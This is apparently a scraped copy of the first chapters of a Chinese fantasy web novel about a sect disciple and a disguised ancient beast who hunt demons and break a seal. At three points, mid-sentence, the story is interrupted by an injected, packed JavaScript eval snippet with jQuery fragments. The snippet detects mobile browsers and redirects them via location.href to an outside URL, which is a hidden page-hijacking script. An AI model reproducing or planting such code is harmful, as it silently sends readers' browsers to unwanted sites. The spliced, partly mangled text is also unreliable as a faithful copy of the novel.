《师兄三百岁》 1. 第一章 须臾山脚下的茶楼人来人往,被拜长生的人围得水泄不通。 虽是人山人海,但里面十分安静,所有人都在认真听说书先生讲话,要说有什么东西发出的声音比说书先生的声音还大,那一定是他手里的惊堂木。 台上的说书先生已年过半百,他一身褐色衣衫,手中惊堂木一拍便开始娓娓道来。 “三百年前,最后一只长生古兽被衍国第一大宗门须臾山掌门谢行错斩杀,自此世间再无上古妖兽。” “妖兽被斩半年后,听闻有人寻得长生之术,人们渴求长生,各宗门修士也不例外,传言一出便纷纷开始寻找此术。” “每年五月开始,从须臾山出发,历经四月徒步前往斩杀古兽的古战场,如有机缘,便可看到长生树。树下有一仙人,名为万寿仙,诚心向他表明来意,便可获得长生。” “人们将前往古战场的这一过程被称为拜长生,并自发结成拜长生的队伍共同寻找长生之术。” “这须臾山下的村庄平日冷清,到了拜长生的时节便热闹非凡。各路商贩齐出马,吆喝地天花乱坠,荷包里的碎银不好保呦~” 说书先生在台上讲的唾沫横飞。 虽然三百年来无数人前仆后继的前往古战场,但寻得此术者寥寥,大多数都是在拜长生的途中丧命于各种意外。 这段历史他讲了无数次,每次讲起,那双早已失神的眼睛都会变得炯炯有神,仿佛他已经看到了那个寻得长生之术的自己。 今年拜长生的人依旧很多,他这平日里都没几个人来的的茶楼都满客了。 衍国人妖共存,人虽惧妖,但却有不少人羡慕妖的长寿。 生老病死是人之常态,如果有一个能摆脱世俗常态的机会,谁不想去试试? 长生不老,这样的诱惑就像请一个流落街头的乞丐吃宫宴美食,他哪里经得起诱惑? 但有一个人经得起诱惑,他就是林鹤眠。 林鹤眠是须臾山现任掌门亲传大弟子,不过他行事低调,也不爱露面,在这茶楼里听说书半小时都没人能认出来。 这倒是给他省去了许多麻烦,能让他安静听说书。 人固有一死,只有妖才会长生。 须臾山以除妖卫道为立宗之本,但也有规矩:善则留,恶则斩。 那些求得长生的人后来如何没人听说过,人们只知道他们拥有无尽寿数,艳羡不已。 而死在拜长生途中的人的尸体,则由须臾山负责处理。 这条规矩是今年刚立的,林鹤眠主动请缨做了这个收尸人。 听完说书先生说书,他只是付之一笑,然后端起白色瓷杯呷了一口茶。 说书先生又拍惊堂木,继续说起来。 “咱再说回那谢行错,当年他一剑动山海,剑锋所过之处,片甲不留,可谓是绝代天才!” “而如今能被称得上绝代天才的人,还有现任须臾山掌门亲传大弟子林鹤眠。这林鹤眠天生剑胚,还加入了今年拜长生的队伍。去年某日下山历练,他偶遇蛟龙为祸村民,便要提剑战蛟龙。欲知后事如何,且听下回分解!” 说书先生戛然而止,他口干舌燥,实在讲不动了,听众们再怎么催也摆手不干。 林鹤眠听完说书走出茶楼,出了茶楼迎面就是一条街,街道两侧被小贩的摊子占的满满当当,吆喝声和孩童嬉闹声交织成一团火,点燃了人们的兴致。 林鹤眠远远看到一家名为“鸿福”的客栈,这客栈高四层,朱色梁柱上雕着精美的图案。 林鹤眠就这么进了鸿福客栈,发现这客栈的桌椅皆是用枫木制成,柜台上还有一个紫檀木雕成的金蟾木雕。 小二见他过来,忙热情的招呼上去,笑着问:“客官,您要点什么?” “一份水煮鱼,两壶热酒。” “好嘞!” 店小二一一记下这些后去了后厨,林鹤眠刚想闭目养神,楼上就掉下几个人来,将桌椅砸的粉碎,桌上茶盏也碎成数瓣。 前台的另一个店小二大喊不好,麻溜放下手里的账本和算盘,三步并作两步上了楼。人还没上去,楼上便下来一个穿着青色衣衫的男人。 那人长相清秀,衣服用的是上好的丝绸面料,半扎的乌发上插着一支白玉簪子,素雅华贵,俨然一副大家公子的模样。 这位大家公子冷着一张脸,目光越过店小二,直勾勾地盯着那几个刚从地上爬起来的窃贼。 “白日行窃窃到我房里,手不想要可以废了。” 店中其他顾客见出了这档子事,低头窃窃私语。有的只是抬头看了一眼,然后便继续埋头吃饭。 这几个窃贼直接被扔下来,桌椅都压碎了,估计摔的不轻。但还能爬起来,说明对方还是留手了,扔下来时估计用了法术保护这伙贼人。 只听店小二哀求道:“谢公子,是我们眼拙放了窃贼进来过夜,扰了您休息我说声对不住。但您扔人别往桌上扔啊,这些桌椅茶盏虽然不贵,可买一套也要花出去不少银子,您悠着点啊。” 谢松意没回话,瞪了那伙正撒腿要跑的贼人一眼,那几个贼人竟纷纷下跪,挣扎着起身无果后,脸上满是惊恐的喊着饶命。 林鹤眠心道这法术方便啊,他都是不服就干,这位谢公子是不服就跪服,起都起不来,打架的功夫都省了,他还挺想学的。 “看我干什么,不报官?”谢松意蹙眉,对呆呆的店小二有些不满。 店小二这才后知后觉的点头,刚好另一个店小二回来了,他去前台拿了账本和算盘,然后往对方怀里一塞,自己出门报官去了。 另一个店小二本来还一脸懵的看着地上那几个喊饶命的贼人,但看到站在楼梯上的谢松意,顿时明白了一切。 小嘴一咧就笑着迎了上去:“谢公子您消消气,以后再有人留宿,我们一定会留意对方的身份。” 谢松意叹了口气,缓缓走下楼梯,店小二识趣地为他引路,笑道:“您这边坐。” “菜和以前一样。” “好嘞,您稍等!” 待谢松意落了坐,店小二这才离去。 他看谢松意时还是笑着的,一转身对上那伙贼人,眼神恨不得把人给吃了。 心说你们偷谁不好偷到这祖宗头上,这可是我们客栈老板的贵客,真把人惹生气了咱们一起吃不了兜着走,自己作死别连累我。 店小二先给谢松意上了壶酒,谢松意斟了半酒盅,身后贼人依旧在喊饶命,他连给个眼神都不肯。 最后他们自己喊累了,干脆闭了嘴,乖乖等衙门的人过来。 待林鹤眠吃完鱼肉,衙门的人直接过来把盗贼带走了。 这绝对是他见过衙门抓贼最轻松的一次,没有之一! 这位谢公子到底是什么来历? 林鹤眠有些好奇,但他并不认识对方,上去就问人家的来历,有些不太礼貌了。 林鹤眠将剩下半壶酒喝完,要了一间房就上楼休息去了。 他在客栈里看剑谱,一看就看到半夜。 月上中天时,窗外起了一阵风,摇曳的竹枝婆娑起舞,抖下几片竹叶落在地上。 一声惨叫打破了夜的静谧,林鹤眠忙拿了剑跳窗离开。 他循着声源追到一条小巷,只见地上躺着一个人,正是今日那位报官的店小二。 店小二脸上惊恐的表情还未散去,他大张着嘴,眼睛直勾勾地盯着上方,胸口有一个空洞,里面血肉模糊,衣衫染了血色,在月光下更显凄惨。 林鹤眠心说有妖作祟。 话毕,身后便突然闪过一道黑影,他拔剑的瞬间,一只带着利爪的手搭在了他的肩上。 爪子刚想掐住林鹤眠的肩,就被他一个瞬移躲开,同时挥出一道剑气,他趁黑影躲剑气的同时看清了对方的面容。 那是一个身着黑红衣袍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014041|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女妖,袍子一角染了鲜血,想来是那店小二的。 女妖躲过剑气,又朝林鹤眠冲过来,一双利爪坚硬锋利,堪比林鹤眠手里的剑。 剑刃和利爪相撞声不绝于耳,林鹤眠边打边退,随后看准时机卖了一个破绽。 他假装下盘不稳就要摔倒,女妖见状伸出利爪,准备给林鹤眠来一招黑虎掏心。 林鹤眠右手握剑,并以剑撑地稳住身形,同时召出剑灵,左手抓住女妖的手腕,灵力从指尖溢出的瞬间成了熊熊燃烧的火焰。 女妖吃痛,想要挣开林鹤眠的手,却被身后已经化形的剑灵一剑刺穿胸膛。 女妖一声惨叫,在不甘中化为灰烬。 “天生剑胚?是个好苗子,可惜还不够。” 一道清冷熟悉的声音传来。 林鹤眠循声望去,发现那位不知何时出现的谢公子正倚着一棵银杏树双手抱胸看着他。 银杏叶簌簌落下,地面被月光照的发亮,突然多了几点金黄,看上去就像是数片暗色金箔贴在地上。 林鹤眠是在夸赞中长大的,不过他倒是对这些夸赞并不在意,但他的剑灵很在意。 “嚣张!鹤眠,让他开开眼!”剑灵撅起小嘴,一脸不忿的说。 林鹤眠扶额。 谢松意却不理会剑灵的话,继续说:“你的剑术很好,但有几招可以做的更好。” 林鹤眠挑眉:“阁下的意思是……” “我的意思是……”谢松意用灵力折下一截树枝,握在手里转了个圈,“你还得练!” 话音刚落,那根树枝就飞了出去。树枝从林鹤眠脸颊擦过,林鹤眠的目光随着树枝一同飞向身后,那根树枝直接刺穿了死而复生的女妖的心脏! 女妖被树枝穿心,却并未立刻死去,而是被树枝钉在墙上,留了一口气。 拨云十一式第三式:一箭穿心,伤而不死,收剑则灰飞烟灭。 剑灵眼睛都看直了,这几句话在他脑海中一闪而过,他捅了捅林鹤眠的胳膊,低声道:“鹤眠,快拜他为师,这是失传已久的拨云十一式之一,每一式单拎出来都是让无数妖邪望而生畏的绝世剑法,咱学这个!” 拨云十一式? 林鹤眠也有些惊讶,他也想到了拨云十一式,但他并不确定是真是假。 毕竟当年拨云十一式的剑谱失传,留存下来的只有几句话,至今没人能通过寥寥几句将这种绝学复现,或许这位谢公子是个例外? 而且他觉得下山一周就认新师父,师父知道了肯定会生气的,所以这个师父要不要认还得看看再说。 “知玄,你就这么确定他用的是拨云十一式?再者,我刚下山就拜一个新师父,师父知道了肯定会骂我的。” “啧,你小子也太怂了。”知玄撇撇嘴,一个转身就飘到了谢松意倚着的银杏树上。 他躺在树枝上,悠悠的说:“我还能骗你么?相信我,他能教的可比见清那老头多多了,认他做师父你不吃亏的。” 不及林鹤眠再度开口,谢松意便离开那棵树。他离开树的瞬间,整棵树顷刻化为乌有,只在地上留了一颗银杏果。 知玄一看树没了,干脆飘到墙头躺着。 林鹤眠这才想起来,谢松意站的地方,原是没有树的。 “我不收徒。”谢松意收了银杏果,走向女妖,林鹤眠也快步跟在他身后,“说说看,为什么杀人?” 女妖冷笑一声:“横竖都是死,我说和不说下场有什么区别?” “死的很痛苦和死的很痛快的区别。”谢松意道。 女妖依旧嘴硬:“我又不怕。” 谢松意闻言浅笑。 他附在女妖耳边低声道:“通天墟里饿了好几百年的妖兽都还在呢,他们可没我这么好说话,你最好想清楚。” 女妖不自觉地瞪大双眼,惊恐地看向谢松意,而后,她想起什么似的发疯般笑起来。 2. 第二章 谢松意收了笑,露出几分不耐烦的神色,他“啧”了一声,说:“我这人不喜欢浪费时间。” 女妖笑完,方才那种慌乱的神色已然全无,她平静的说:“是主上指使我干的。” “主上近年沉迷炼毒,奈何毒术毫无进步,他从书上学了一种禁术,发现颇有成效,但需用名贵毒药炼制。” “卖毒药的老板是个修士,用法术变出来的银两骗不过他,主上便靠和那伙贼人平分赃物获取银两购买药材。今日他们行窃被抓,主上让我来救他们,并杀了报官那人。” “你主上是谁?”林鹤眠问。 “妖界以强者为尊,向来不问出处,我只知道主上来自通天墟,其他一概不知。” “你是个识趣的。”谢松意冷声道。 女妖笑道:“能死在你手里,倒也算幸运。” “从另一种角度来说,你确实幸运。” 谢松意拔了树枝,女妖这次连灰都不剩,直接烟消云散,树枝也在女妖消散后化为灰烬。 林鹤眠挑眉。 收剑则灰飞烟灭,是拨云十一式无疑了。或许,他认个新师父也不是不行,师父生气就生气吧,反正没过几天他就自己消气了。 而且师父只是死板不是小气,这谢公子虽来历不明,但是个有真功夫的,拜他为师能学到一般人学不到的,师父知道了估计也就笑着骂他几句。 不过话说回来,什么叫倒也算幸运?他是越发好奇这谢公子的来历了。 对啊,他姓谢,还会拨云十一式中的招式,这家伙莫不是他那老祖谢行错转世? 那更不对了,书上说他那老祖待人和善谦虚,行事谨慎。 且不说和善,就刚才的举动来说,面前这个家伙哪有一点谦虚的样子? 而且这谢公子是女妖说什么他信什么,一点都不谨慎。 再者,问都问了,不多问问那不就亏大了吗,只知道一个通天墟有什么用? 所以,这家伙绝对不是他的老祖! 不过这女妖为什么一副明明自己要死了却觉得赚大了的样子? 因为妖界强者为尊?那也太尊了吧! 林鹤眠在心里默默吐槽,他们妖界……多少有点,过于尊重强者了。 谢松意好像知道林鹤眠在想什么,他瞥林鹤眠一眼,说:“她不敢骗我,至于她主上,知道通天墟就够了。” 林鹤眠被谢松意清冷的声音唤回神,他收了躺在墙头的知玄,问道:“通天墟到底是什么地方,我在书上看到过,但并无详细记载,问师父他也不说。” “不想死就别知道。” “我林鹤眠最不怕的就是死。” 谢松意将林鹤眠上下打量一番,拜长生的人员名单他看过,里面也有一个叫林鹤眠的,想来便是此人,不过他没想到这林鹤眠是天生剑胚。 既是天生剑胚又叫林鹤眠的,普天之下只有那位须臾山掌门的亲传大弟子。 林鹤眠被他看的浑身不自在,握紧剑后退一步,警惕地看着谢松意。 “不怕死你去拜长生?”谢松意收回目光,终于肯开口。 “我又不是真去拜长生,就是跟在别人屁股后面收尸的。”林鹤眠一通解释。 解释完他才想起来,拜长生的名单里有且只有一个姓谢的,叫谢松意。 那鸿福客栈里大多都是拜长生的人,估计那谢松意也在此列,大抵就是面前这人。 “再说了,你不也加了?拜长生名单里就一个姓谢的,想来就是你。”林鹤眠说话间低头看向地上的尸体。 谢松意叹气:“尸体带回去便是,客栈老板会处理的。” “那……”林鹤眠试探性的开口,“咱俩一起去捉妖?” 其实他就是想趁捉妖的机会,去看看那个师父闭口不提的通天墟到底是什么地方。 “我自己去就行。”谢松意果断拒绝林鹤眠的建议。 “别啊,好歹这件事我也算掺和进来了,多一个人多一个帮手。” “你去了只会给我帮倒忙。” “看不起谁呢!”林鹤眠的好胜心上来了。 本来去不去无所谓,但谢松意说他会帮倒忙,那他更得去了。 “我说的是实话。这女妖只得了一半通天墟的长生之术,所以要杀两次,但通天墟里的妖可不止要杀两次那么简单。” 林鹤眠目光中的警惕半分未减,甚至多了几分:“世间真有长生之术?你到底是什么人?” 谢松意嘴角勾起一抹笑,道:“凡人寿数有限,妖才能长生,这长生之术是否存在你心中不是早有答案了么?” 林鹤眠见谢松意朝他走过来,不自觉地后退几步,谢松意却并未对他做什么,而是与他擦肩而过。 林鹤眠大步上前,伸出胳膊拦住谢松意,皱眉说:“你还没回答我第二个问题。” 谢松意也皱眉,脸上带着几分不耐烦。 他想拿开林鹤眠的胳膊,却拿不动。想用灵力又想着林鹤眠毕竟是天生剑胚,他日磨练磨练性子是能成大器的,伤到胳膊不方便用剑,也就没用。 他就这么和林鹤眠僵持着。 比拼蛮力林鹤眠从来没输过,二人谁也不肯让谁,最终还是谢松意率先败下阵来。 他松了手,叹气道:“其实在你心里,那万寿主比我更值得在意,你心中早有权衡,何必纠结于我的来历?再者,你应该不只是来收尸的吧?” 一阵风吹来,谢松意背后冒出一股黑色雾气,林鹤眠拔出剑挽了个剑花,笑道:“我当然自有衡量,跟过来也确实不只是为了收尸,但我依旧想知道你的身份,有问题?” “当然没问题。那么先回答我,你跟过来是要做什么?” 白色剑影从谢松意身边飞过,谢松意勾了勾手指,一缕白光顺着剑影冲向身后的黑雾,只听少年声音中带着几分得意:“我来斩长生!” 谢松意那一刻仿佛看到故人归来,那种少年意气,和当年的谢行错一模一样。 剑光刺破谢松意身后的黑雾,里面的妖被一剑穿心,当场灰飞烟灭。 “现在我有资格去通天墟了吧?”林鹤眠收剑入鞘,笑的洋洋得意,少年人的意气风发尽显其中。 “不愧是天生剑胚,剑术看一眼就能学个七八分像,但还不够。” “我都没学过,当然做的不够好,你要是肯教我,说不定我做的比你还好。” “你当真想跟我学剑?” “当然,你若肯教,你教多少我学多少,保证学的出神入化!” 林鹤眠脸上的得意之色更甚。 谢松意心想既然林鹤眠真心想学,那么教他也不是不可以,或许他可以让拨云十一式传下去,如此倒也算是完成谢行错的遗愿了。 没想到兜兜转转,他又和须臾山扯上了关系。 “可我不收徒,你准备怎么称呼我?”谢松意笑道。 “这个简单啊。看长相你年龄应该比我大,你做我师兄不就好了。” “那你师父那边……” “没事,他突然多了一个会失传绝学的徒弟还赚了呢,他问起来我来说。” “你倒是个会剑走偏锋的。”谢松意夸赞道。 林鹤眠笑起来,施法收了店小二的尸体,颇为得意的说:“规矩是死的,人是活的,只要符合规矩,师父不敢拿我怎么样。” 谢松意一声闷笑,没再回话,而是跟在林鹤眠身后返回客栈。 走出小巷后,林鹤眠突然回过头来,盯着谢松意说:“你还没回答我第二个问题。” “我只是一介散修,来历不重要。” 哪里是不重要,分明是不想说! 林鹤眠心说不想说就算了,但又想到明天要启程的队伍,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014042|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍不住问:“每年都只有寥寥几人有机会得长生,万一今年你有机会却没跟上队伍,那不就亏大了?” “你不是要斩长生么,怎么倒关心起我能不能得长生了?”谢松意问道,“况且你掉队了才是真麻烦,找不到长生怎么斩?” “我又不一定能杀死他。而且我还得收尸,掉队了倒方便,总不能当着一堆人的面收。” 谢松意又笑起来,清冷的声音随风响起:“我只找长生,不求长生。” 他求什么长生,他就是真正的长生。 一只得了旁人妖力的小妖,也敢妄称万寿主,真是可笑至极! 店小二的尸体被林鹤眠带回了客栈。 他上了楼,发现谢松意还在门口站着,便起了好奇心偷偷看向楼下。只见一个穿着玄色华服的年轻男子朝谢松意走来,二人结伴去了厢房。 林鹤眠心说这应该就是客栈老板了,谢松意应该是要告诉他尸体的事。 林鹤眠好奇谢松意会怎么说,捏只追踪蝶跟了上去。追踪蝶飞到后院厢房的窗台上,落下来就变成了传声蝶。 林鹤眠看不见人脸,但能从声音听出来是谁在说话。 “不去通天墟不行。”这声音清冷,一听就是谢松意的。 紧接着是一个厚重的声音,很明显是客栈老板的:“那你小心些。不过你是怎么发现那伙窃贼的?” “他们用了一种较为特别的隐身术,此术会连同使用者碰到的物体一起隐身,不过被我看透了,这才没让他们得逞。” “早说让你别什么都用最好的,太招摇,你看,偷东西都先从你下手。” “我习惯了,改不了。” 声音到这里戛然而止,一阵风声传来,林鹤眠还想再听,突然意识到事情不对,想施法收回传声蝶却发现收不回来。 厢房里的谢松意捏着传声蝶故意提高了声音,问道:“这附近可有养猪的人家?” “我身后向西十公里有一家,养了快一百头,还挺肥的,店里的肉都从他那里买。” 谢松意毫不留情的把传声蝶扔了过去。 林鹤眠:“……” 一阵哼哼唧唧的猪叫声从传声蝶那边传来,林鹤眠被吵的脑瓜子嗡嗡叫。 林鹤眠匆忙切断传声,但他发现谢松意连这个机会都没给他留。再度试图收回传声蝶无果后,被猪叫声包围的林少侠最终决定妥协。 他拿出宣纸写了五个字,放在手里轻轻一扔,宣纸就化作一只纸鹤飞到厢房。 纸鹤落在桌面上,谢松意拿起纸鹤拆开,里面用小楷写着几个大字,字迹笔锋凌厉,如同少年不曾收敛的锋芒。 “写的什么?”老板问。 “错了,不敢了。”谢松意笑道。他顿了顿,又补充一句,“知错能改,他是个好孩子。” 客栈老板笑起来。 爽朗的笑声从厢房窗户传出,惊飞了树梢的鸟儿。鸟儿黑色的身影掠过皎月,不知飞向何处。 林鹤眠那边的猪叫声很快就停止了,片刻后,传声蝶自己飞了回来。 林鹤眠心有不忿,但不敢说。 他刚准备生着闷气去沐浴,外面便传来一阵敲门声,打开门,发现来者正是谢松意和客栈老板。 “林少侠,谢公子说我那店小二的尸体在您手里,可否给我看看他的尸体?” 林鹤眠想着好歹也是老板店里的伙计,出了这种事让他看看也是应该的,就将店小二的尸体从储物袋放出来。 出乎意料的是,老板并未露出任何悲伤的神色,反而在仔细端详店小二的伤口。 片刻后,老板随手揪来几片树叶,揉成一团直接塞到店小二的伤口处。 只听老板长舒一口气,说:“还好只是被挖了心,还能救。” 林鹤眠:“???” 什么叫还好只是被挖了心,还能救? 3. 第三章 树叶融入店小二体内,原本面色惨白的店小二气色突然恢复正常,已经涣散的瞳孔也重新聚焦,他猛地坐起来,看到老板就抱着他的腿放声大哭。 “老板,谢公子,我还以为我见不到你们了。我就去给王大婶送一坛子酒,刚出门就被那女妖掏心了。吓死我了……” 店小二哭的一把鼻涕一把泪,老板半是无奈半是嫌弃的把自己的腿从店小二怀里挪了出去,说:“圆石,你这是要拿我的衣服当帕子用么?” 圆石这才反应过来,抹把眼泪赶忙起身,转头就要回厢房换衣服。 “我换件衣服,一会帮尖石接待客人去!” 老板无奈摇头,而林鹤眠……林鹤眠除了震惊还是震惊。 “人外有人天外有天,你记住了。这是我教你的第一课,林师弟。”谢松意笑道。 “剩下的事我来处理,林少侠,你早些休息,我和松意先行告辞。” 老板拉着谢谢松意匆匆离开,林鹤眠没再管他们,沐浴去了。 谢松意回了房间,袖里飘出一只小狐妖,狐妖还没彻底化形,就先开口说话了:“我说祖宗,您装逼砍女妖,他装逼拿我开刀,您就不拦着他的么?他说要杀你呢!” “不用拦着,我用幻术让他以为你已经灰飞烟灭了,你以后躲着点他就是。还有,你祖宗我像会被小孩杀死的妖?”谢松意给自己斟茶,笑着回道。 狐妖不屑地“切”了一声,化成一个总角之年的小姑娘拿起盘子里的点心就吃,边吃边说:“通天墟的封印最近有些不稳,你回去看看?” 谢松意呷了一口茶,将点心盘子推向狐妖,又拿了一个杯子为她斟茶。 “我正要去。有妖逃出来了,我去看看是谁。” 狐妖把茶当水一股脑喝下去,拍了几下胸脯把食物和水一起顺下去后才开口,说:“那你注意点,封印和通天墟建筑是一体的,封印要是没了,通天墟就炸了。” “你们在外这么多年,可有找到修补封印的办法?” “找到一点。既然封印是谢行错当年用须臾山禁术设的,那说不定须臾山弟子可以修补呢。不过他得会禁术,听说这种禁术只传掌门弟子,人不好找。” “巧了,我这里刚好有一个。” “真的?”狐妖又惊又喜,忙咽下口中的点心,说:“封印的事就交给你们了,我们留在人间继续快活。” “其实通天墟的封印有没有并不重要,重要的是下面的隐藏封印。通天墟里还有那么多妖没出来过,好歹让他们来人间一趟。” “有些妖吃人,放出来是祸害。” “下个禁制就行,放他们出来玩玩没什么。” “通天墟是你家,封印除了直接破坏没其他打开方法。封印一破通天墟就直接炸了。你要是不想要家,随便放。” 谢松意闻言浅笑,他给狐妖续茶,没再说话。其实炸了也不是不可以,反正他不准备回去了。 但通天墟的封印一旦有任何异动各大门派都会知晓,要是把通天墟炸了,各宗门掘地三尺都得把始作俑者找出来。 合着他炸了自己家,还因此被外人通缉,这事怎么想怎么不对劲吧! 算了,不炸了。虽然很不想带林鹤眠过去,但谁让这小子是掌门弟子呢。 谢松意又呷了口茶,待狐妖吃饱喝足翻窗走妖后才去沐浴。 他这一夜是舒坦了,但某位掌门弟子做了一夜的梦。梦里不是被猪追就是被猪围着叫,甚至还会被猪追着啃。 林鹤眠第二天起来满脑子都是猪叫声,一闭眼就看到一只肥头大耳的猪对着自己咧嘴笑。 捏个传声蝶硬是给自己捏出噩梦了,林鹤眠努力捶着脑袋,试图把猪叫声捶出去,心说以后再偷听谢松意说话我是狗! “咚咚咚” 一阵敲门声传来。 “是谁?” “我,谢松意。” 林鹤眠“呵”了一声,打开门一看发现来的人还有圆石,圆石端着一个托盘,盘里有些饭菜。 “这是……”林鹤眠不解。 “吃完去通天墟。”谢松意道。 林鹤眠瞬间理解,端起托盘就进屋,不过一炷香的功夫,他就连吃带收拾全搞定了。 刚出门就看到一个青色的身影坐在楼下品茶看书,活脱脱一尊玉像,举手投足间带着一种矜贵。 林鹤眠突然想到昨晚那个倚着树的谢松意。 这家伙连倚树都倚自己种的,种子地上一扔就能长,长出的树不沾一点土,主打一个干干净净,倚着不脏衣服。 这样的人,不像修士,倒像名门大户娇生惯养的公子。 “你准备盯着我看多久?” 谢松意的声音冷不丁的传来,林鹤眠回过神,将目光转向一旁,小声“切”了一句,说:“我还不是怕影响你看书?” 谢松意叹了口气,收起书放在桌上,再抬头时,林鹤眠已经下楼了。 “走吧。”谢松意起身道。 林鹤眠紧随其后:“怎么突然想带我去了?” “你有用。” 林鹤眠:“……” 好一个人尽其用啊! “我们怎么去通天墟?”林鹤眠发现谢松意带他来到了厢房前的院子,心说这院子该不会有去通天墟的方法吧? “你闭上眼。” “就这么简单?” “啧,”谢松意有些不耐烦,“闭上。” “闭就闭。” 林少侠不服气的闭上眼,等耳畔再传来谢松意的声音时,他已经到了通天墟。 “到了。” 林鹤眠睁开眼一看,眼前的废墟东西南北四角各有一个雕着五爪真龙的白玉柱,断壁残垣上是一个云纹样式的封印。 果然是通天墟,和书上说的一模一样。 “你用了什么法术?”林鹤眠有些惊讶。 谢松意心说去通天墟的方法只有各宗掌门才能知道,哪能让你一个掌门弟子知道? “你猜。” “我不猜!” 林鹤眠白谢松意一眼,刚要上前却被谢松意拽住胳膊。 “我带你来是修封印的,你可会禁术?” “当然。”林鹤眠一脸得意,“修封印要用这个?” “嗯。”谢松意点头,“你试试。” 一股强大的灵力从林鹤眠指尖溢出,蓝色光点飞向云纹,可云纹颜色非但没有加深,反而越来越弱。 谢松意意识到事情不对,刚想开口阻拦林鹤眠,结果云纹当场炸了。 四根白玉柱轰然倒塌,那些断壁残垣也被炸成灰尘,无数黑色雾气从空旷的废墟中飞出,四周顿时烟雾弥漫。 那个方向,是拜长生的方向。 林鹤眠:“……” “那个,我是不是……惹祸了?”林鹤眠弱弱的问了一句。 “没事,炸就炸了。”谢松意十分淡定,他勾了勾手指,黑色妖气自指尖溢出,通天墟里多了一道禁制,林鹤眠却并未察觉。 半个时辰后,须臾山 “师父,师兄来信了!”清玲拿着一封信跑到书房。 见清正坐在窗前看书,问:“里面说的什么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014043|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “他说他闯祸了。” “什么祸就给我写信,他不会自己摆平?”见清有些不满。 清玲很认真的说:“他把通天墟炸了。” 见清:“……” 那天早晨,一位耄耋老人的怒吼,响彻了整座须臾山。 “林鹤眠,你给我滚回来!!!” 须臾山祠堂 “你给我跪下!”见清沙哑的声音里透着愤怒,他指着供桌上第二行最中间的牌位,说话时吐沫星子差点没喷林鹤眠脸上,“你说,第二行最中间是谁的牌位?” “行错老祖的。” 林鹤眠乖乖跪在蒲团上,说话大气都不敢出,身侧的谢松意倚着柱子看他挨训,默默思考封印为什么会炸。 “通天墟封印是谁设的?” “也是行错老祖。” 林鹤眠的声音又低了一分,他不断给谢松意抛眼神求救,谢松意还没看到,见清就先发现了。 他看见没事人一样的谢松意,气得六窍生烟。为什么不是七窍?因为有一窍要用来训人。 “你怎么带他去的通天墟?” “走正门呗。”谢松意道。 他最不喜欢被人训,尤其这还是个笨蛋。 那通天墟什么地方,能自由进出的不是各宗门掌门就是通天墟的本地妖,这见清老头是根本就没想到这一点。 再说了,通天墟是他家,进自己家不走正门走哪? 见清:“……” 林鹤眠:“噗!” 见清回头瞪他一眼,他忙捂住嘴,待他师父转过头去,又偷偷笑起来。 见清的脸比乌鸦都黑。 通天墟连墙都没有,哪来的正门?! 他几乎是把这句话写脸上了,谢松意见状,又补了一句:“不走正门难道翻墙,通天墟哪有墙?” 见清要被气炸了,指着谢松意的鼻子,手都是抖的:“你是哪个门派的弟子?让你们掌门过来和我谈话!” “他是散修。”林鹤眠插了一句。 “我让你说话了没?!”见清训了林鹤眠一句,又转头训谢松意,“你也给我跪着,好好在老祖面前反省反省!” 谢松意挑眉,对着供桌上的牌位扫了一眼,最终定格在谢行错的牌位上。 谢行错知道他要干嘛,灵识对谢松意做口型说:“别闹。” 牌位上其他老祖的灵识也纷纷摆手示意他不要跪,但谢松意偏不听,他假装没看见,故意问见清:“我跪你老祖,跪哪位?” “谁设的封印你就跪谁!” 谢松意看向谢行错,谢行错摇头,谢松意心说好吧,我给他一个机会,然后看向见清,很认真的问:“你确定真的要我跪?” 言外之意你考虑考虑再决定让不让我跪。 但凡见清认真想想都不会让谢松意下跪,谢行错和其他老祖也指望见清动动脑子。 但这老头子在气头上,想都不肯想,张口就是一句:“你不跪我跪啊?!” “行吧。”谢松意耸耸肩,走向蒲团。 老祖们的灵识摆手摆的更厉害了,谢行错无语扶额。 你这老头没事惹这祖宗干嘛啊! 谢松意平时收着古兽威压是怕伤人,也就遇到不知好歹的才放出来点让他们老实跪着。 但即便收了古兽威压,他的身份摆在那里,一只古兽给灵识下跪,他们哪里受得起? 膝盖碰到蒲团的瞬间除了谢行错的牌位其他牌位全裂开一条缝,而谢行错的牌位直接炸了,连灰都不剩。 看得出来,谢行错被气坏了。 4. 第四章 牌位裂缝的瞬间林鹤眠抬头看了一眼供桌,他看见只有半截透明身子的老祖们齐刷刷地扶额,行错老祖则是皮笑肉不笑的盯着他师父。 谢行错瞥向最后一个牌位上飘着的灵识,那灵识背后一阵凉意,不自觉地抖了一下。 谢行错给他传音:“你选的好掌门。” 